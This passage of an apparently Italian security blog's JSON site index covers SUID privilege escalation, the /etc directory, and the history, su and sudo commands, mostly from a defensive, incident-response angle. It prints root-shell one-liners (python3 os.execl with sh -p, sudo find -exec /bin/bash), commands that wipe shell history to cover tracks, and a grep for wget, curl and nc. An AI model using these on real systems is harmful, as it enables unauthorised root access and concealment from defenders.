buona parte di internet. Capire come funziona è il primo passo per capire come si rompe.\nConcetti correlati: tcp-udp · networking\n","date":"23 marzo 2026","externalUrl":null,"permalink":"/blog/anatomia-di-una-query-dns/","section":"Blog","summary":" TL;DR Prima di mandare qualsiasi pacchetto in rete, il sistema cerca la risposta in cache - browser, OS, /etc/hosts Se non trova niente, chiede al resolver ISP (es. 8.8.8.8) che fa il lavoro sporco Il resolver risale la gerarchia: Root Server → TLD Server → Nameserver autoritativo La risposta torna con un TTL - un timer che dice quanto tenerla in cache prima di richiederla ▶ $ history nslookup example.com nslookup -type=MX example.com dig example.com dig +trace example.com dig -x 8.8.8.8 Ogni volta che scrivi un dominio nel browser e premi invio, parte una catena di eventi che la maggior parte delle persone non vede mai. Il risultato finale è un indirizzo IP - ma il percorso per arrivarci attraversa cache locali, server distribuiti in tutto il mondo e una gerarchia precisa.\n","title":"Anatomia di una query DNS","type":"blog"},{"content":" TL;DR SUID forza l'EUID al proprietario del file al momento dell'esecuzione - se il proprietario è root, ogni utente che lo esegue ottiene EUID=0 Un interprete con SUID root (python3, perl, bash) è escalation immediata: nessuna vulnerabilità da sfruttare, nessun exploit da compilare find / -perm -4000 -type f 2\u0026gt;/dev/null in 30 secondi elenca tutto quello che conta Detection: baseline snapshot dei SUID in CI/CD + auditd rule su execve con euid=0 e auid!=unset ▶ $ history find -perm -4000 -type f 2\u0026gt;/dev/null stat /usr/bin/python3 id cat /proc/self/status python3 -c \u0026quot;import os; os.execl('/bin/sh', 'sh', '-p')\u0026quot; auditctl -l ausearch -m execve -k suid_exec ls -la /usr/bin/python3 Sono le 02:41. Il SIEM ha alzato un flag su prod-api-03: processo root con parent python3, nessun deploy in corso, nessuna maintenance window schedulata. Il processo è già terminato quando apro il ticket. Non c'è output, non c'è file scritto. Solo un'esecuzione anomala durata undici secondi.\nUndici secondi sono più che sufficienti.\nCome funziona il bit SUID # Il bit SUID (Set User ID) è un meccanismo del kernel Linux che modifica il comportamento dell'execve(): quando un eseguibile ha il bit s impostato e il proprietario è root, il kernel eleva l'EUID (Effective User ID) a 0 per tutta la durata dell'esecuzione, indipendentemente da chi ha lanciato il processo.\nLa distinzione tra RUID e EUID è il punto critico. RUID è chi sei davvero - l'utente che ha fatto login. EUID è chi sei in questo momento per il kernel quando verifica i permessi. Quasi tutto il permission model Linux usa EUID: apertura di file, bind su porte privilegiate, modifica di processi altrui.\nexecve(\u0026#34;/usr/bin/python3\u0026#34;) │ ▼ kernel controlla SUID bit sul file │ ├── proprietario: root (uid=0) ├── SUID bit: attivo │ ▼ EUID processo = 0 (anche se RUID = 1001) L'unica differenza tra un interprete normale e uno con SUID root è quel bit. Nessuna vulnerabilità, nessun buffer overflow. Solo un flag in mezzo ai permessi che la maggior parte dei tool di monitoring non controlla in real time.\nIl primo segnale # Il processo nel SIEM è già sparito, ma auditd gira su tutte le macchine di produzione. La prima query è sugli eventi execve con euid=0 nelle ultime quattro ore:\nausearch -m execve -k suid_exec --start 02:00:00 --end 03:00:00 -i # output simulato type=SYSCALL msg=audit(1711155723.441:8847): arch=c000003e syscall=59 success=yes exit=0 a0=... a1=... a2=... ppid=31204 pid=31205 uid=1001 gid=1001 euid=0 suid=0 fsuid=0 egid=1001 sgid=1001 fsgid=1001 tty=(none) ses=47 comm=\u0026#34;sh\u0026#34; exe=\u0026#34;/bin/sh\u0026#34; subj=unconfined_u:... key=\u0026#34;suid_exec\u0026#34; Il campo che conta: uid=1001 euid=0. Un utente non privilegiato (uid=1001, l'account di servizio deploy) ha eseguito qualcosa che gli ha dato EUID root. Il binario eseguito è /bin/sh. Il parent process era python3.\n# recupero il parent PID per contestualizzare ausearch -m execve -p 31204 --start 02:00:00 -i # output simulato type=SYSCALL ... comm=\u0026#34;python3\u0026#34; exe=\u0026#34;/usr/bin/python3\u0026#34; uid=1001 gid=1001 euid=0 ... /usr/bin/python3 eseguito con EUID=0 da uid=1001. Questo è il punto di ingresso.\nLa traccia # stat /usr/bin/python3 # output simulato File: /usr/bin/python3 Size: 5479736 Access: (4755/-rwsr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root) 4755. Il 4 davanti è il SUID bit. -rwsr-xr-x: la s al posto della x nel gruppo owner. Qualcuno ha eseguito chmod u+s /usr/bin/python3 su questo server.\nPer capire quando è successo:\nstat --format=\u0026#34;%n %y %z\u0026#34; /usr/bin/python3 # output simulato /usr/bin/python3 2026-03-22 23:14:07.341 +0000 (mtime) 2026-03-22 23:14:07.341 +0000 (ctime) Le 23:14 di ieri sera. Undici ore prima dell'alert. Cerco nei log chi era connesso al server in quella finestra:\nausearch -m USER_AUTH --start 23:00:00 --end 23:30:00 -i | grep \u0026#34;uid=1001\\|uid=0\u0026#34; # output simulato type=USER_AUTH msg=audit(1711151647.002:7123): pid=28941 uid=0 acct=\u0026#34;ops-user\u0026#34; exe=\u0026#34;/usr/bin/sudo\u0026#34; ... res=success ops-user ha usato sudo alle 23:14. Probabilmente stava configurando qualcosa. Il cambio di permessi su python3 è quasi certamente stato un incidente: volevamo chmod 755 e abbiamo scritto chmod 4755. O abbiamo lanciato chmod u+s invece di un altro comando.\nIl punto non è che qualcuno ha voluto sabotare il server. Il punto è che un errore di digitazione di dieci caratteri su un server di produzione ha lasciato una backdoor root accessibile a qualunque processo che potesse chiamare python3.\nIl pivot - la ricostruzione dell'exploit # Dall'audit log dell'attaccante (o di chi ha scoperto l'apertura e l'ha sfruttata):\n# dal punto di vista dell\u0026#39;utente deploy (uid=1001) id # uid=1001(deploy) gid=1001(deploy) groups=1001(deploy) python3 -c \u0026#34;import os; os.execl(\u0026#39;/bin/sh\u0026#39;, \u0026#39;sh\u0026#39;, \u0026#39;-p\u0026#39;)\u0026#34; id # uid=1001(deploy) gid=1001(deploy) euid=0(root) groups=1001(deploy) Il flag -p di /bin/sh disabilita il reset automatico dell'EUID: senza -p, alcune shell moderne abbassano volontariamente l'EUID al RUID per sicurezza. Con -p, la shell mantiene i privilegi elevati.\n# verifica dal /proc per chi non si fida dei comandi utente cat /proc/self/status | grep -E \u0026#34;^[UG]id\u0026#34; # output simulato Uid:\t1001\t0\t0\t0 Gid:\t1001\t1001\t1001\t1001 A questo punto l'attaccante ha EUID=0. Può leggere /etc/shadow, modificare /etc/sudoers, scrivere authorized_keys in /root/.ssh/, installare un cron job root, estrarre segreti da /proc/PID/environ di qualunque processo.\nDiagramma - scenario e kill chain # graph TD A[ops-user sudo session] --\u003e|chmod 4755 typo| B[python3 SUID root] B --\u003e C{Attacco} C --\u003e|uid=1001 deploy account| D[python3 -c os.execl sh -p] D --\u003e E[shell EUID=0] E --\u003e F[shadow read] E --\u003e G[cron root install] E --\u003e H[authorized_keys root] sequenceDiagram participant U as ops-user participant S as prod-api-03 participant A as deploy uid=1001 participant SIEM U-\u003e\u003eS: chmod 4755 python3 typo Note over S: SUID bit attivo su python3 A-\u003e\u003eS: python3 os.execl sh -p S--\u003e\u003eA: shell con EUID=0 A-\u003e\u003eS: cat /etc/shadow A-\u003e\u003eS: write root authorized_keys S-\u003e\u003eSIEM: execve euid=0 uid=1001 Note over SIEM: unprivileged user running as root Tabella IoC # Tipo Valore Contesto MITRE ATT\u0026amp;CK Tecnica SUID bit su interprete /usr/bin/python3 con chmod 4755 T1548.001 Evento execve con uid!=0 e euid=0 auditd log prod-api-03 T1548.001 Comando python3 -c \u0026quot;import os; os.execl('/bin/sh', 'sh', '-p')\u0026quot; escalation da deploy account T1059.006 Artefatto mtime /usr/bin/python3 2026-03-22T23:14:07Z cambio permessi non schedulato T1222.002 Account uid=1001 (deploy) con euid=0 session 47, tty=none T1078.003 Mitigazione # Rimozione immediata:\n# verifica lo stato attuale stat --format=\u0026#34;%A %n\u0026#34; /usr/bin/python3 # rimozione SUID chmod u-s /usr/bin/python3 # verifica stat --format=\u0026#34;%A %n\u0026#34; /usr/bin/python3 # -rwxr-xr-x /usr/bin/python3 Baseline e monitoring continuo:\n# snapshot dei SUID in CI/CD o al boot find / -perm -4000 -type f 2\u0026gt;/dev/null | sort \u0026gt; /var/lib/suid-baseline.txt # confronto periodico (cron o systemd timer) find / -perm -4000 -type f 2\u0026gt;/dev/null | sort | diff /var/lib/suid-baseline.txt - Regola auditd per SUID exec:\n# /etc/audit/rules.d/suid.rules -a always,exit -F arch=b64 -S execve -F euid=0 -F auid!=unset -k suid_exec -a always,exit -F arch=b32 -S execve -F euid=0 -F auid!=unset -k suid_exec # applica senza reboot auditctl -R /etc/audit/rules.d/suid.rules Checklist di prevenzione:\nVerificare SUID in pipeline di deploy: find / -perm -4000 deve matchare la baseline inotifywait -m /usr/bin /usr/local/bin -e attrib per alert real-time su cambio permessi Separare account di deploy da account operativi - ops-user non dovrebbe avere accesso diretto a prod-api-03 Per binari che richiedono privilegi elevati valutare Linux capabilities (cap_net_bind_service, cap_dac_read_search) invece del SUID: scope più ristretto, stessa funzionalità Se stai usando container: --no-new-privileges in Docker, allowPrivilegeEscalation: false in Kubernetes securityContext exit 0 # Undici ore tra il chmod e l'exploit. Su un sistema senza auditd, quella finestra potrebbe non avere un log. Su un sistema senza baseline dei SUID, quel bit potrebbe rimanere per mesi.\nLa difficoltà tecnica di questa escalation è zero. Non serve un exploit, non serve un CVE, non serve nemmeno sapere cosa si sta facendo: python3 -c \u0026quot;import os; os.execl('/bin/sh', 'sh', '-p')\u0026quot; è su ogni cheatsheet pubblico. Il valore del SUID bit non è nella complessità - è nella normalità. È un file system che ha un permesso che sembra ragionevole finché non lo è.\nIl punto non è \u0026quot;non fare typo\u0026quot;. Il punto è che un sistema ben difeso dovrebbe rilevare questo cambio in meno di un minuto, non a posteriori da un alert SIEM undici ore dopo.\nConcetti correlati: iam · linux permissions\nMITRE ATT\u0026amp;CK: T1548.001 - Setuid and Setgid\n","date":"23 marzo 2026","externalUrl":null,"permalink":"/blog/privilege-escalation-via-suid/","section":"Blog","summary":" TL;DR SUID forza l'EUID al proprietario del file al momento dell'esecuzione - se il proprietario è root, ogni utente che lo esegue ottiene EUID=0 Un interprete con SUID root (python3, perl, bash) è escalation immediata: nessuna vulnerabilità da sfruttare, nessun exploit da compilare find / -perm -4000 -type f 2\u003e/dev/null in 30 secondi elenca tutto quello che conta Detection: baseline snapshot dei SUID in CI/CD + auditd rule su execve con euid=0 e auid!=unset ▶ $ history find -perm -4000 -type f 2\u003e/dev/null stat /usr/bin/python3 id cat /proc/self/status python3 -c \"import os; os.execl('/bin/sh', 'sh', '-p')\" auditctl -l ausearch -m execve -k suid_exec ls -la /usr/bin/python3 Sono le 02:41. Il SIEM ha alzato un flag su prod-api-03: processo root con parent python3, nessun deploy in corso, nessuna maintenance window schedulata. Il processo è già terminato quando apro il ticket. Non c'è output, non c'è file scritto. Solo un'esecuzione anomala durata undici secondi.\n","title":"chmod +s - il bit che dimentichi e l'attaccante trova","type":"blog"},{"content":" Cos'è # La directory /etc/ contiene i file di configurazione globali del sistema operativo e delle applicazioni installate. Il nome deriva da \u0026quot;Editable Text Configuration\u0026quot; o storicamente \u0026quot;et cetera\u0026quot;.\nGerarchia delle Configurazioni # In Linux esiste una gerarchia di priorità per le impostazioni:\nSystem-wide (/etc/): Impostazioni globali per tutti gli utenti. User-specific (~/.config/ o ~/.*): Impostazioni che sovrascrivono quelle globali solo per l'utente corrente. File di riferimento rapido in /etc/ # File Scopo /etc/passwd Database utenti locali — leggibile da tutti /etc/group Database gruppi locali /etc/shadow Hash delle password — solo root puo' leggerlo /etc/sudoers Lista utenti con privilegi elevati /etc/nsswitch.conf Configura da dove getent prende i dati /etc/shadow — come sono codificate le password # sudo less /etc/shadow # Formato di ogni riga: # utente:$id$salt$hash:giorni_ultimo_cambio:min:max:avviso:... # Il campo $id identifica l\u0026#39;algoritmo usato: # $6$ = SHA-512 (standard moderno — Linux da anni) # $5$ = SHA-256 # $y$ = yescrypt (Ubuntu e Kali recenti — piu\u0026#39; resistente) # $1$ = MD5 (vecchio, insicuro — non dovrebbe piu\u0026#39; comparire) # ! = account bloccato (vedi usermod -L) # * = account senza password (utenti di sistema come daemon, nobody) # Esempio riga reale (valori fittizi): barno:$y$j9T$sAlTcAsUaLe$hAsHlUnGo123456:19800:0:99999:7::: ^ yescrypt — sistema moderno Il salt e' un valore casuale generato al momento della creazione della password. Due utenti con la stessa password producono hash completamente diversi perche' il salt e' diverso. Questo blocca i rainbow table attack: non puoi precomputare gli hash perche' non conosci il salt in anticipo.\nImportant /etc/shadow e' leggibile solo da root. /etc/passwd e' leggibile da tutti perche' molti programmi ne hanno bisogno. La separazione tra i due file e' una scelta di sicurezza: le password hash stanno nel file protetto, le informazioni non sensibili nel file pubblico.\n/etc/group — perche' il nome appare in posizioni diverse # cat /etc/group | grep -i barno # barno:x:1000: \u0026lt;- barno e\u0026#39; il PROPRIETARIO del gruppo # kaboxer:x:130:barno \u0026lt;- barno e\u0026#39; MEMBRO aggiuntivo del gruppo kaboxer Il formato e' nome:x:GID:lista_membri_aggiuntivi. Il quarto campo contiene solo i membri secondari. Se sei il proprietario (primary group), il tuo nome e' nel primo campo e non si ripete nel quarto.\nScenario Reale (Incident Response) # # DNS Hijacking: server che non risolve i nomi cat /etc/resolv.conf # IP DNS sconosciuto? Possibile hijacking # Account sospetto: utente con UID 0 non autorizzato awk -F: \u0026#39;$3 == 0 {print $1}\u0026#39; /etc/passwd # Solo \u0026#34;root\u0026#34; dovrebbe comparire # Password deboli: cerca account con algoritmo MD5 ($1$) sudo grep \u0026#39;:\\$1\\$\u0026#39; /etc/shadow # Ogni risultato e\u0026#39; un account a rischio — hash MD5 e\u0026#39; craccabile Collegato a # system — categoria iam — categoria linux-filesystem-hierarchy — contesto struttura user-management — comandi per gestire utenti etc-passwd-anatomy — struttura dettagliata di passwd ","date":"23 marzo 2026","externalUrl":null,"permalink":"/concetti/etc-directory-purpose/","section":"Concetti","summary":"La directory /etc/ contiene i file di configurazione globali del sistema operativo. Include i database critici per la gestione di utenti, gruppi e privilegi.","title":"Etc Directory Purpose","type":"concetti"},{"content":"`\nCosa fa # Mostra la lista numerata dei comandi eseguiti nella shell corrente e nelle sessioni precedenti. I comandi sono salvati in ~/.bash_history (bash) o ~/.zsh_history (zsh) e persistono tra i riavvii.\nTL;DR # history # mostra tutta la lista numerata history | less # naviga la lista se e\u0026#39; lunga !88 # riesegui il comando numero 88 !! # riesegui l\u0026#39;ultimo comando history | grep /usr/bin # cerca nella cronologia Comandi essenziali # Comando Cosa fa Note history Mostra tutti i comandi con numero Tipicamente ultimi 500-1000 history | less Naviga la lista con paginazione Utile se la lista e' lunga history | grep pattern Cerca un comando nella cronologia pattern = stringa da cercare !N Riesegui il comando numero N Sostituisci N con il numero dalla lista !! Riesegui l'ultimo comando Utile con sudo !! se hai dimenticato sudo !stringa Riesegui l'ultimo comando che inizia con stringa es. !ssh riesegue l'ultimo ssh history -c Cancella tutta la cronologia della sessione Non cancella ~/.bash_history su disco CTRL+R Ricerca interattiva nella cronologia Digita e filtra in tempo reale Dove vive la cronologia # ~/.bash_history # bash — file su disco ~/.zsh_history # zsh — file su disco (formato leggermente diverso) # Variabili che controllano il comportamento: echo $HISTSIZE # numero comandi tenuti in memoria durante la sessione echo $HISTFILESIZE # numero comandi salvati su disco echo $HISTFILE # path del file di cronologia Scenario Reale # # ATTACCO — Cancellazione tracce # Un attaccante dopo aver compromesso un sistema cerca di coprire le tracce: history -c # cancella la cronologia in memoria \u0026gt; ~/.bash_history # svuota il file su disco # DIFESA — Blue Team # Durante un\u0026#39;analisi forense, la cronologia e\u0026#39; uno dei primi posti da controllare: cat ~/.bash_history # leggi la cronologia grezza cat ~/.bash_history | grep -i \u0026#34;wget\\|curl\\|nc\\|python\u0026#34; # cerca tool sospetti ls -la ~/.bash_history # controlla timestamp ultima modifica Un file ~/.bash_history vuoto o con timestamp recente su un sistema che gira da mesi e' un segnale di compromissione. Il Blue Team dovrebbe includere il monitoraggio della cronologia nella baseline. sudo !! e' una delle combinazioni piu' usate — riesegui l'ultimo comando con privilegi elevati senza riscriverlo. Collegato a # system — categoria grep — usato insieme per cercare nella cronologia shell-interattiva — la cronologia e' legata all'ambiente shell ","date":"23 marzo 2026","externalUrl":null,"permalink":"/comandi/history/","section":"Comandi","summary":"Mostra la lista dei comandi eseguiti nella sessione corrente e in quelle precedenti. Permette di richiamare, cercare e riutilizzare comandi senza riscriverli.","title":"history","type":"comandi"},{"content":" TL;DR I permessi Linux normali controllano chi può eseguire un file - SUID cambia con quale identità viene eseguito Un file con SUID root gira sempre come root, indipendentemente da chi lo avvia Esistono per necessità (es. passwd deve scrivere /etc/shadow senza darti root) Diventano pericolosi quando vengono impostati su file sbagliati - specialmente interpreti come python3 o bash ▶ $ history ls -la /usr/bin/passwd stat /usr/bin/passwd find -perm -4000 -type f 2\u0026gt;/dev/null id Quando esegui un comando su Linux, il sistema controlla chi sei - il tuo user ID - e decide cosa puoi fare. È il modello di base: ogni processo eredita i permessi dell'utente che lo ha lanciato.\nIl bit SUID rompe questa regola. Non per un bug, ma intenzionalmente.\nPrima di tutto: come funzionano i permessi normali # Ogni file su Linux ha tre gruppi di permessi: owner, group, others. Ognuno ha tre bit: lettura (r), scrittura (w), esecuzione (x).\n-rwxr-xr-x 1 root root /usr/bin/ls ↑↑↑ ↑↑↑ ↑↑↑ │ │ └── others: può leggere ed eseguire │ └────── group: può leggere ed eseguire └────────── owner (root): può fare tutto Quando esegui ls, il kernel crea un processo con il tuo user ID. Il fatto che il file appartenga a root non cambia niente - importa solo che tu abbia il bit x per eseguirlo.\nIl problema di passwd # Considera questo scenario: vuoi cambiare la tua password. Il comando è passwd. Ma le password sono in /etc/shadow, un file che appartiene a root e che solo root può modificare:\nls -la /etc/shadow # ---------- 1 root shadow 1234 ... /etc/shadow Eppure passwd funziona per tutti gli utenti normali. Come?\nls -la /usr/bin/passwd # -rwsr-xr-x 1 root root 68208 ... /usr/bin/passwd # ↑ # s al posto di x - questo è il bit SUID Quella s cambia tutto. Quando un file ha il bit SUID e appartiene a root, il kernel eleva temporaneamente i privilegi del processo a quelli del proprietario del file (root), per tutta la durata dell'esecuzione.\nTu (uid=1001) esegui passwd │ ▼ kernel vede SUID bit + proprietario root │ ▼ processo gira con EUID=0 (root) │ ▼ passwd può scrivere /etc/shadow │ ▼ processo termina → EUID torna a 1001 È un meccanismo controllato: passwd è scritto per fare esattamente una cosa, in modo sicuro, poi restituire i privilegi. Il programma sa di avere privilegi elevati e li usa con attenzione.\nRUID vs EUID - la distinzione che conta # Linux distingue due tipi di user ID per ogni processo:\nSignificato RUID (Real UID) Chi sei davvero - l'utente che ha fatto login EUID (Effective UID) Chi sei in questo momento per il controllo dei permessi Normalmente RUID e EUID coincidono. Con SUID, l'EUID viene impostato al proprietario del file - non al tuo RUID.\nPuoi verificarlo su qualsiasi processo:\nid # uid=1001(barno) gid=1001(barno) groups=1001(barno) # dopo aver eseguito qualcosa con SUID root, dentro quel processo: # uid=1001(barno) gid=1001(barno) euid=0(root) Come si riconosce un file SUID # Il bit SUID compare nella posizione x dell'owner, sostituita da s:\n-rwsr-xr-x → SUID attivo, il bit x è presente (eseguibile + SUID) -rwSr-xr-x → SUID attivo, ma il bit x manca (non eseguibile - situazione anomala) -rwxr-xr-x → nessun SUID, normale In ottale, il bit SUID vale 4000. Un file con chmod 4755 ha SUID + rwxr-xr-x.\nPer trovare tutti i file SUID su un sistema:\nfind / -perm -4000 -type f 2\u0026gt;/dev/null -perm -4000 significa \u0026quot;almeno il bit 4000 è attivo\u0026quot; - elenca tutto, anche file con permessi aggiuntivi. Il 2\u0026gt;/dev/null silenzia gli errori su directory inaccessibili.\nOutput tipico su un sistema Linux sano:\n/usr/bin/passwd /usr/bin/sudo /usr/bin/su /usr/bin/newgrp /usr/bin/chsh /usr/bin/gpasswd /usr/bin/mount /usr/bin/umount /usr/bin/ping /usr/lib/openssh/ssh-keysign Questi file hanno SUID per una ragione precisa. Ognuno fa operazioni privilegiate in modo controllato.\nPerché diventa un problema di sicurezza # Il bit SUID è sicuro se il programma è scritto per gestirlo. I binari di sistema come passwd, sudo, ping sono progettati sapendo di avere EUID=0 - validano l'input, limitano quello che fanno, gestiscono gli errori.\nIl problema sorge in tre scenari:\n1. Binario sbagliato con SUID Un interprete generico (python3, bash, perl, vim) non ha restrizioni su cosa può fare con i privilegi elevati. Se qualcuno imposta SUID su python3, chiunque può ottenere una shell root in una riga.\n2. Binario che chiama altri programmi Se un programma SUID root esegue altri comandi usando il PATH dell'utente o senza path assoluti, un attaccante può sostituire quei comandi con versioni malevole.\n3. Errore di configurazione Qualcuno imposta SUID per risolvere un problema di permessi in fretta, dimenticando di rimuoverlo. Oppure un typo: chmod 4755 invece di chmod 755.\nI binari SUID più pericolosi # Questi sono i binari che non dovrebbero mai avere SUID - se li trovi nella lista di find, è un alert immediato:\nBinario Perché è pericoloso bash, sh, zsh Shell diretta con EUID=0 python3, perl, ruby Interprete generico - escalation in una riga vim, nano, less Editor/pager con comandi shell integrati cp, mv Possono sovrascrivere /etc/passwd o /etc/sudoers find Flag -exec esegue comandi con EUID=0 nmap Versioni vecchie hanno --interactive che apre una shell Il SUID nel contesto della sicurezza # Il bit SUID è uno dei vettori di privilege escalation più documentati. Un utente con accesso limitato a un sistema cerca prima di tutto binari SUID fuori dal normale - è il primo controllo in qualsiasi audit di sicurezza e in qualsiasi CTF Linux.\nLa ragione per cui è efficace: non richiede exploit, non richiede vulnerabilità nel kernel, non lascia quasi traccia. Basta trovare il binario giusto e sapere come usarlo.\nexit 0 # SUID non è un bug di Linux - è una feature con quarant'anni di storia, necessaria per far funzionare cose basilari come il cambio password. Il problema non è l'esistenza del meccanismo: è quando viene applicato a file che non sanno come gestire i privilegi elevati.\nLa differenza tra passwd e python3 con SUID root non è tecnica - è di progettazione. Uno è scritto per fare una cosa sola in modo sicuro. L'altro non ha nessuna limitazione su cosa può fare con quei privilegi.\nVuoi vedere come un bit SUID impostato per errore diventa una root shell in produzione? → chmod +s - il bit che dimentichi e l'attaccante trova\nConcetti correlati: iam · linux permissions\n","date":"23 marzo 2026","externalUrl":null,"permalink":"/blog/cosa-sono-i-permessi-suid/","section":"Blog","summary":" TL;DR I permessi Linux normali controllano chi può eseguire un file - SUID cambia con quale identità viene eseguito Un file con SUID root gira sempre come root, indipendentemente da chi lo avvia Esistono per necessità (es. passwd deve scrivere /etc/shadow senza darti root) Diventano pericolosi quando vengono impostati su file sbagliati - specialmente interpreti come python3 o bash ▶ $ history ls -la /usr/bin/passwd stat /usr/bin/passwd find -perm -4000 -type f 2\u003e/dev/null id Quando esegui un comando su Linux, il sistema controlla chi sei - il tuo user ID - e decide cosa puoi fare. È il modello di base: ogni processo eredita i permessi dell'utente che lo ha lanciato.\n","title":"Il file che si comporta da root - capire il bit SUID","type":"blog"},{"content":" Cosa fa # Avvia una shell con l'identita' di un altro utente. Senza flag cambia solo l'utente mantenendo l'ambiente corrente. Con - simula un login completo: carica i dotfile, cambia la home directory e resetta le variabili d'ambiente.\nTL;DR # su root # cambia utente ma mantieni l\u0026#39;ambiente attuale su - root # login completo: nuovo ambiente, nuova home, dotfile caricati su - barno # diventa barno con il suo ambiente completo su -c \u0026#39;comando\u0026#39; utente # esegui un singolo comando come quell\u0026#39;utente La differenza critica: su vs su - # # Senza trattino — ambiente ibrido su root - sei root - sei ancora nella directory da cui hai lanciato su - le variabili d\u0026#39;ambiente (PATH, HOME) sono ancora le tue - i dotfile di root NON vengono caricati # Con trattino — login completo su - root - sei root - sei in /root (home di root) - PATH, HOME, SHELL resettati a quelli di root - ~/.bash_profile e ~/.bashrc di root vengono caricati In un contesto di attacco, su - e' piu' pericoloso perche' l'attaccante ottiene l'ambiente completo dell'utente target, inclusi alias e script potenzialmente utili per muoversi nel sistema.\nComandi essenziali # Comando Cosa fa Note Blue Team su utente Cambia utente, mantieni ambiente Lascia traccia in auth.log su - utente Login completo come utente Piu' completo, piu' tracciabile su - Login completo come root Equivalente a su - root su -c 'cmd' utente Esegui un comando come utente Utile per singole operazioni exit Torna all'utente precedente Chiude la shell aperta da su - usato come argomento singolo significa login shell in molti comandi Unix. La tradizione risale agli anni '70 — indicava \u0026quot;comportati come se stessi facendo un login completo\u0026quot;. su - root # login completo come rootsu -l barno # equivalente con flag esplicito bash -l # apri bash come login shell ```\nTracce in auth.log # # Tentativo riuscito: # Mar 23 07:12:34 hostname su: (to root) barno on pts/0 # Tentativo fallito: # Mar 23 07:13:01 hostname su: FAILED SU (to root) barno on pts/0 # Cerca tutti i cambi utente nel log: grep \u0026#34; su:\u0026#34; /var/log/auth.log Important su richiede la password dell'utente target (es. password di root). sudo richiede la password dell'utente corrente. Questa differenza cambia il modello di sicurezza: con su devi condividere la password di root, con sudo no.\nScenario Reale # # DIFESA — monitoraggio escalation privilegio # Un analista cerca cambi di utente sospetti in auth.log: grep \u0026#34;su:\u0026#34; /var/log/auth.log | grep -v \u0026#34;pam_unix\u0026#34; # Pattern sospetto: molti tentativi falliti verso root # seguiti da un successo alle 3:14 di notte = possibile brute force su su Collegato a # iam — categoria system — categoria sudo — alternativa moderna, piu' granulare shell-interattiva — su apre una nuova shell linux-permissions-ugo — contesto permessi ","date":"23 marzo 2026","externalUrl":null,"permalink":"/comandi/su/","section":"Comandi","summary":"Esegue una shell come un altro utente. Con il flag - simula un login completo caricando l'ambiente dell'utente target. Lascia tracce diverse in auth.log rispetto a sudo.","title":"su - substitute user","type":"comandi"},{"content":" Cosa fa # Esegue un singolo comando con i privilegi di un altro utente, tipicamente root. La configurazione di chi puo' fare cosa e' in /etc/sudoers. Ogni esecuzione viene loggata in auth.log — questo e' il motivo per cui e' preferito a su in ambienti multi-utente.\nTL;DR # sudo comando # esegui come root (chiede la tua password) sudo -u utente cmd # esegui come un utente specifico sudo -l # mostra cosa puoi fare con sudo sudo !! # riesegui l\u0026#39;ultimo comando come root sudo su - # apri una shell root completa via sudo Comandi essenziali # Comando Cosa fa Note sudo comando Esegui come root Usa la TUA password, non quella di root sudo -u mario cmd Esegui come utente mario Utile per test con utenti diversi sudo -l Lista cosa puoi fare Fondamentale in Blue Team e in CTF sudo -i Apri shell root interattiva Come su - ma tramite sudo sudo su - Apri shell root completa Alternativa comune a sudo -i sudo !! Riesegui ultimo cmd come root Quando dimentichi sudo davanti sudo visudo Modifica sudoers in sicurezza NON modificare sudoers con editor diretto sudo -l — il comando piu' importante in CTF e Blue Team # sudo -l # Output tipico: # Matching Defaults entries for barno on kali: # env_reset, secure_path=... # User barno may run the following commands on kali: # (ALL : ALL) ALL # Lettura: # (chi puoi impersonare : quale gruppo) COMANDO # (ALL : ALL) ALL = puoi fare tutto come chiunque — sei amministratore completo # (root) /usr/bin/apt = puoi eseguire SOLO apt come root Important In un CTF o in un pentest, sudo -l e' il primo comando da eseguire dopo aver ottenuto accesso a un sistema. Mostra immediatamente i vettori di privilege escalation disponibili.\n/etc/sudoers — struttura base # # Formato: # utente host=(runas:gruppo) COMANDI # Esempi: barno ALL=(ALL:ALL) ALL # barno puo\u0026#39; fare tutto mario ALL=(ALL) /usr/bin/apt # mario puo\u0026#39; solo apt %sudo ALL=(ALL:ALL) ALL # il GRUPPO sudo puo\u0026#39; fare tutto # %nome = gruppo (il % distingue utenti da gruppi) # Vedere chi e\u0026#39; nel gruppo sudo: getent group sudo Perche' sudo cd non funziona # cd non e' un programma — e' un builtin della shell. Non esiste come file eseguibile in /usr/bin/, quindi sudo non puo' avviarlo come processo separato.\nsudo cd /var/ossec/etc # ERRORE: cd non e\u0026#39; un eseguibile # sudo: cd: command not found # Soluzione: apri una shell root, poi naviga normalmente sudo -i cd /var/ossec/etc # ora funziona sudo -i reinizializza tutto l'ambiente (PATH, HOME, variabili) come se avessi fatto il login come root. sudo -s mantiene invece l'ambiente dell'utente corrente — utile se vuoi i tuoi alias e variabili.\nDifferenza con su # su sudo ───────────────────── ───────────────────────────── Richiede password di root Richiede la TUA password Apre una shell Esegue un singolo comando Traccia meno granulare Ogni comando loggato Condivide credenziali root Root rimane isolato Meno flessibile Granulare: puoi limitare i comandi Tracce in auth.log # # Comando eseguito con successo: # Mar 23 07:15:02 hostname sudo: barno : TTY=pts/0 ; # PWD=/home/barno ; USER=root ; COMMAND=/usr/bin/apt update # Tentativo non autorizzato: # Mar 23 07:16:11 hostname sudo: barno : user NOT in sudoers ; # TTY=pts/0 ; PWD=/home/barno ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow # Cerca tutti i sudo in auth.log: grep \u0026#34;sudo:\u0026#34; /var/log/auth.log Warning (ALL : ALL) ALL in sudoers significa che quell'utente ha accesso root completo. In un'analisi di hardening, ogni utente con questa regola va giustificato. Se trovi un utente non amministratore con questa configurazione, e' un alert.\nScenario Reale # # ATTACCO — Privilege escalation via sudo # Un attaccante con accesso utente normale esegue: sudo -l # Scopre: (ALL) /usr/bin/find # find ha un flag -exec che permette di eseguire comandi arbitrari: sudo find / -name \u0026#34;qualcosa\u0026#34; -exec /bin/bash \\; # Risultato: shell root # DIFESA — audit regolare dei sudoers # Verifica chi puo\u0026#39; usare sudo e con quali comandi: grep -v \u0026#34;^#\u0026#34; /etc/sudoers | grep -v \u0026#34;^$\u0026#34; getent group sudo Collegato a # iam — categoria system — categoria su — alternativa, richiede password root linux-permissions-ugo — contesto permessi user-management-cheatsheet — gestione utenti ","date":"23 marzo 2026","externalUrl":null,"permalink":"/comandi/sudo/","section":"Comandi","summary":"Esegue un singolo comando con i privilegi di un altro utente (default: root). A differenza di su, usa la password dell'utente corrente e ogni azione e' tracciata in auth.log.","title":"sudo - superuser do","type":"comandi"},{"content":" Cosa fa # Insieme di comandi per amministrare il ciclo di vita di utenti e gruppi sul sistema. Ogni modifica aggiorna /etc/passwd, /etc/group e 